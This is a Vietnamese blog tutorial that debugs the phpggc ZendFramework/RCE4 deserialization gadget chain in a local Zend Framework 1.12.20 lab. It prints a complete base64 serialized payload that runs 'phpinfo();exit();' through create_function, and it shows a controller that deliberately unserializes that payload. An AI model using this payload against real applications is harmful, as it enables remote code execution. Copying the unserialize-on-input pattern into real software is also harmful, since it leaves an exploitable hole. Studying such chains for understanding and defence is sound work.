Phân tích một gadget chain lỗ hổng PHP unserialize trên ZendFramework

Phân tích một gadget chain lỗ hổng PHP unserialize trên ZendFramework

Lỗ hổng Insecure Deserialization trong PHP hay với một tên gọi khác là PHP Object Injection có thể giúp kẻ tấn câng thực hiện các loại tấn công khác nhau, chẳng hạn như Code Injection, SQL Injection, Path Traversal, DDoS …, tùy thuộc vào ngữ cảnh. Lỗ hổng này xảy ra khi dữ liệu đầu vào không được kiểm tra đúng cách trước khi được chuyển đến hàm PHP unserialize. Với các lớp phương thức Magic method cùng các POP chain giúp cho đối tượng tấn công thực thi lỗi này.

Gần đây tôi có dành thời gian để tìm hiểu và thử nghiệm về lỗ hổng PHP unserialize trên ZendFramework, tình cờ lướt qua phpgcc tôi thấy mới public một lỗi deserialize đẫn đến RCE trên phiên bản ZendFramework <= 1.12.20 và trong bài viết này tôi sẽ thực hiện debug để tìm hiểu rõ luồng hoạt động của lỗ hổng đó.

Để debug được trước tiên ta phải dựng môi trường, trong phần này tôi sử dụng:

·         Ubuntu 18.04

·         Apache2

·         PHP 7.2

·         Zend Framework <= 1.12.20

Dưới đây là các bước để cài đặt và khởi tạo một project ZendFramework 1 cùng với một số công cụ cần thiết trong quá trình debug.

Cài đặt và khởi tạo project Zend

Cài đặt môi trường (apache2, php 7.2 và extension của php)

sudo apt-get update
sudo apt-get install apache2
sudo apt install php7.2
sudo apt-get install php7.2-dom php7.2-curl php7.2-gd php7.2-intl php7.2-mbstring php7.2-mysql php7.2-soap php7.2-zip php7.2-bcmath php7.2-mysqli php7.2-fpm php7.2-cli php7.2-xsl php7.2-json php7.2-dev php7.2-common curl -y

Cài đặt Zend Framework 1.12.20 và khởi tạo project ‘zend-demo’

sudo a2enmod rewrite
cd /home
sudo wget https://packages.zendframework.com/releases/ZendFramework-1.12.20/ZendFramework-1.12.20.tar.gz
sudo tar -xvzf ZendFramework-1.12.20.tar.gz
cd /home/ZendFramework-1.12.20/bin
./zf.sh create project /var/www/html/zend-demo
cd /var/www/html/zend-demo/library
cp -r /home/ZendFramework-1.12.20/library/Zend .

Project đã được khởi tạo, để kiểm tra ta truy cập đường dẫn: http://localhost/zend-demo/public

 

Project đã được khởi tạo, tiếp theo ta cài đặt một số các công cụ cần thiết để debug

Cài đặt PHPStorm, Xdebug

Cài đặt PHPStorm

cd ~
wget https://download-cf.jetbrains.com/webide/PhpStorm-2020.3.tar.gz
sudo tar vxzf PhpStorm-2020.3.tar.gz –C /opt
cd /opt/PhpStorm-../bin
./phpstorm.sh

Cài đặt Xdebug
Đối với PHP 7.2 ta tiến hành cài đặt xdebug-2.6.0

cd ~
wget http://xdebug.org/files/xdebug-2.6.0.tgz
sudo tar -xvzf xdebug-2.6.0.tgz
cd xdebug-2.6.0
./configure
make
sudo cp modules/xdebug.so /usr/lib/php/20170718

Tạo file /etc/php/7.2/apache2/conf.d/00-xdebug.ini với nội dung

zend_extension = "/usr/lib/php/20170718/xdebug.so"
xdebug.remote_enable=true

Cấu hình debug trên PHPStorm

Chọn Add Configuration -> Add New Configuration -> PHP Web Page. Cấu hình các thông số như hình dưới

Cấu hình debug

  • Host: localhost
    Port: 80
    Debuger: Xdebug
    Start URL: /zend-demo/public

Cài đặt Xdebug helper trên trình duyệt và bật chế độ debug
https://chrome.google.com/webstore/detail/xdebug-helper/eadndfjplgieldjbigjakmdgkmoaaaoc?hl=vi

Cài đặt đã xong để kiểm tra ta đặt breakpoint và tiến hành gửi 1 request tới controller

Như vậy bước cài đặt môi trường và các công cụ cần thiết đã xong, ta bắt đầu debug xem luồng hoạt động của nó.

ZendFramework/RCE4

Lỗ hổng PHP unserialize đẫn đến RCE tồn tại trên phiên bản Zendframework <= 1.12.20 tại chức năng ghi log của email. Đối với loại lỗ hổng này ta thường khó có thể thực hiện tấn công nếu không có mã nguồn của ứng dụng. Tuy nhiên đối với PHP ta có bộ công cụ phpggc có sẵn các gadgets để tạo các payload để thử nghiệm tấn công. Dưới đây là chi tiết về các gadgets mà ta sẽ thực hiện debug.

Gadgets.php:

Chain.php:

Để hiểu rõ chức năng của các class trong quá trình debug ta có thể vào xem tại trang chủ của ZendFramework. Dưới đây là một số class ta cần biết:

Zend_Log: Is a component for general purpose logging. It supports multiple log backends, formatting messages sent to the log, and filtering messages from being logged.
Zend_Log_Writer_Mail: Allows for emailing log messages at and above a certain level via a Zend_Mail object.
Zend_Mail: Provides generalized functionality to compose and send both text and MIME-compliant multipart e-mail messages.
Zend_Layout: Implements a classic Two Step View pattern, allowing developers to wrap application content within another view, usually representing the site template. Such templates are often termed layouts by other projects, and Zend Framework has adopted this term for consistency.
Zend_Filter_Callback: Implement Zend_Filter_Interface.
Zend_Filter_Inflector: Is a general purpose tool for rules-based inflection of strings to a given target.

Để hiểu rõ luồng hoạt động của đoạn code trên ta sử dụng phpggc để tạo payload và debug:

./phpggc ZendFramework/RCE4 ‘phpinfo();exit();’
Tzo4OiJaZW5kX0xvZyI6MTp7czoxMToiACoAX3dyaXRlcnMiO2E6MTp7aTowO086MjA6IlplbmRfTG9nX1dyaXRlcl9NYWlsIjo1OntzOjE2OiIAKgBfZXZlbnRzVG9NYWlsIjthOjE6e2k6MDtpOjE7fXM6MjI6IgAqAF9sYXlvdXRFdmVudHNUb01haWwiO2E6MDp7fXM6ODoiACoAX21haWwiO086OToiWmVuZF9NYWlsIjowOnt9czoxMDoiACoAX2xheW91dCI7TzoxMToiWmVuZF9MYXlvdXQiOjM6e3M6MTM6IgAqAF9pbmZsZWN0b3IiO086MjE6IlplbmRfRmlsdGVyX0luZmxlY3RvciI6MTp7czo5OiIAKgBfcnVsZXMiO2E6MTp7czo2OiJzY3JpcHQiO2E6MTp7aTowO086MjA6IlplbmRfRmlsdGVyX0NhbGxiYWNrIjoyOntzOjEyOiIAKgBfY2FsbGJhY2siO3M6MTU6ImNyZWF0ZV9mdW5jdGlvbiI7czoxMToiACoAX29wdGlvbnMiO2E6MTp7aTowO3M6MDoiIjt9fX19fXM6MjA6IgAqAF9pbmZsZWN0b3JFbmFibGVkIjtiOjA7czoxMDoiACoAX2xheW91dCI7czoyMjoiKXt9cGhwaW5mbygpO2V4aXQoKTsvKiI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19

Thông thường phpggc sẽ tạo payload dưới dạng serialize, để chuyển sang dạng base64 (tránh lỗi định dạng dữ liệu khi unserialize trực tiếp trong code) ta vào file PHPGGC/GadgetChain.php và sửa lại đoạn code tại dòng 112:

public function process_serialized($serialized)
{
    return base64_encode($serialized);
}
Với mục đích tìm hiểu nên ta thực hiện unserialize payload luôn tại controller và debug xem luồng hoạt động của nó. Vào project “zend-demo” mà ta đã khởi tạo ở trên, tại controller application/controllers/IndexController.php copy đoạn code bên dưới đây:
<?php

class IndexController extends Zend_Controller_Action
{

    public function init()
    {
        /* Initialize action controller here */
    }

    public function indexAction()
    {
        //payload được tạo bởi phpggc
        $data = 'Tzo4OiJaZW5kX0xvZyI6MTp7czoxMToiACoAX3dyaXRlcnMiO2E6MTp7aTowO086MjA6IlplbmRfTG9nX1dyaXRlcl9NYWlsIjo1OntzOjE2OiIAKgBfZXZlbnRzVG9NYWlsIjthOjE6e2k6MDtpOjE7fXM6MjI6IgAqAF9sYXlvdXRFdmVudHNUb01haWwiO2E6MDp7fXM6ODoiACoAX21haWwiO086OToiWmVuZF9NYWlsIjowOnt9czoxMDoiACoAX2xheW91dCI7TzoxMToiWmVuZF9MYXlvdXQiOjM6e3M6MTM6IgAqAF9pbmZsZWN0b3IiO086MjE6IlplbmRfRmlsdGVyX0luZmxlY3RvciI6MTp7czo5OiIAKgBfcnVsZXMiO2E6MTp7czo2OiJzY3JpcHQiO2E6MTp7aTowO086MjA6IlplbmRfRmlsdGVyX0NhbGxiYWNrIjoyOntzOjEyOiIAKgBfY2FsbGJhY2siO3M6MTU6ImNyZWF0ZV9mdW5jdGlvbiI7czoxMToiACoAX29wdGlvbnMiO2E6MTp7aTowO3M6MDoiIjt9fX19fXM6MjA6IgAqAF9pbmZsZWN0b3JFbmFibGVkIjtiOjA7czoxMDoiACoAX2xheW91dCI7czoyMjoiKXt9cGhwaW5mbygpO2V4aXQoKTsvKiI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19';
        //dữ liệu được decode base64 trước khi unserialize
        $data = base64_decode($data);
        unserialize($data);
    }
}
Bật chế độ debug của PhpStorm và đặt breakpoint tại hàm __destruct() (magic method) của class library/Zend/Log.php:

Trong hàm __destruct ta thấy đối tượng $writer được khởi tạo từ class Zend_Log_Writer_Mail gọi tới method shutdown(), đoạn code tại dòng 49 khai báo $_writers cho biết đối tượng được khởi tạo từ 1 abstract class và Zend_Log_Writer_Mail là class được extend từ Zend_Log_Writer_Abstract do đó method shutdown() sẽ được định nghĩa tại Zend_Log_Writer_Mail

/**
* @var array of Zend_Log_Writer_Abstract
*/
Protected $_writers = array();

Debug vào shutdown() ta thấy đoạn code

Tại đây biến _mail sẽ thực hiện setBodyHtml cho email với tham số _layout->render() mà ta đã nhập khi dùng phpggc tạo payload, _layout với giá trị ‘){}phpinfo();exit();/*’. _layout là biến được khởi tạo từ Zend_Layout, tiếp tục debug vào hàm render() ta thấy:

Hàm render() sẽ thực hiện filter để kiểm tra _layout được truyền trước khi render. Trong ZendFramework có 2 cơ chế filter: Static rules và filter-based. Với static rules các biến sẽ được filter với các quy tắc đơn giản như thay thế, kiểm tra, so khớp chuỗi… trong khi filter-based sẽ filter dựa trên các bộ lọc có thể dược điều chỉnh hoặc định nghĩa từ người dùng. Các class được extend từ Zend_Filter_Interface đều có thể được gọi để thực hiện filter-based

Với giá trị biến _inflector là một đối tượng Zend_Filter_Callback tức ta đang thực hiện filter-based, hàm thực hiện filter sẽ được gọi thông qua biến _callback. Đặt breakpoint tại bước này ta thấy biến $name chính là giá trị layout mà ta truyền vào được gọi thông qua $this->getLayout(); và biến _callback lưu giá trị hàm sẽ được gọi để filter 

Debug vào hàm filter() của class Zend_Filter_Callback:

Tại đây hàm call_user_func_array() được gọi với 2 tham số được truyền vào:

$this->_callback: hàm được gọi để thực thi
$options: lưu giá trị các tham số truyền vào hàm được gọi

Với các giá trị như trên đoạn code sẽ thực hiện chạy hàm create_function() với tham số là ‘){}phpinfo();exit();/*’. Kết quả là một function sẽ được tạo và hàm phpinfo() sẽ được gọi, dấu /* thực hiện comment các phần còn lại của code. Kết quả đoạn code được truyền vào được thực thi:

Trên đây là bài viết của tôi về cách debug một lỗ hổng PHP unserialize trên ngôn ngữ PHP, hi vọng bài viết giúp các bạn hiểu rõ hơn về lỗ hổng này. Hẹn gặp lại các bạn ở các bài viết sau!

 
Đỗ Tuấn

Các gói dịch vụ

Liên hệ

Name
Email
Phone
Message